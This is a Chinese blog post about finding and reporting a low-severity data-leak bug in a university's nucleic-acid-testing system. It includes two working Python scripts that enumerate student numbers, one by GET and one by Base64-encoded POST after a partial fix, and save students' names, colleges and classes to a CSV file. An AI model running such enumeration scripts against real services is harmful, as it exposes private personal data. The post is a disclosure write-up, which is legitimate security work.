先上图,第一次上报漏洞成功,当时还开心了好一阵,其实也没啥技术含量,一个低危漏洞

2bd357365e610436e0bf971f3b9e7de.png

第一次上报

3月15日,做核酸检测的时候偶然发现的,拿BurpSuite打一梭子,没想到真的爆出信息泄露,也不做URL加密,无语了

InkedInkedSnipaste_2022-03-15_10-54-11_LI.jpg

测试脚本

import requests
str1 = "https://*****.xaut.edu.cn/educational/nucleic_acid_collect/getStudentInfo?stuNum="
for i in range(3140131001,3140131050):
    response = requests.get(str1+str(i))
    print(response.text)

然后拿着这些信息就去上报了

https://src.sjtu.edu.cn/

很快啊,早上上报,下午就拿到邮件了

Inked085ebc9524ed575bc7ba9fd4934ca53_LI.jpg

人生第一个SRC到手

梅开二度

其实吧,修复速度还蛮快的(两天后就修复了),但治标不治本,原本的GET请求换为了POST请求,文字用URL+Base64加密,但对请求次数依然没有限制,还是可以很顺利的获取到信息

InkedSnipaste_2022-03-17_08-01-31_LI.jpg

爆破脚本

count = 0
year = ""
career = ""

burp0_url = "https://*****.xaut.edu.cn/educational/nucleic_acid_collect/getStudentInfo"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36"}

def urlc(arg):
    return urllib.parse.unquote(arg)

for i in range(1,999):
    id = f"{year}{career}{i:03}".encode('utf-8')
    burp0_json={"stuNum": base64.b64encode(id).decode('utf-8')}
    resp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
    print(resp.text)
    b=json.loads(resp.content)

    if b["isExist"] == False:
        print("goodbye")
        count+=1
        if count == 2:
            break
        continue

    with open('tq1.csv','a+') as myFile: 
        a="{},{},{},{} \n".format(urlc(b["data"]['college']),urlc(b["data"]['name']),id.decode('utf-8'),urlc(b["data"]['className']))
        myFile.write(a)

这次修复后我就没有上报了,毕竟还是有修复,但是嘛,修了和没修一样,估计也就是个临时工基于上边要求搞的。

结局

4月29日,服务下线,开始写博客记录

image.png

结语

漏洞嘛,可遇不可求,比如SQL注入,Django和Mybatis的ORM基本就没可能遇到这类情况

但知识储备还是必要的,不然很有可能就与漏洞失之交臂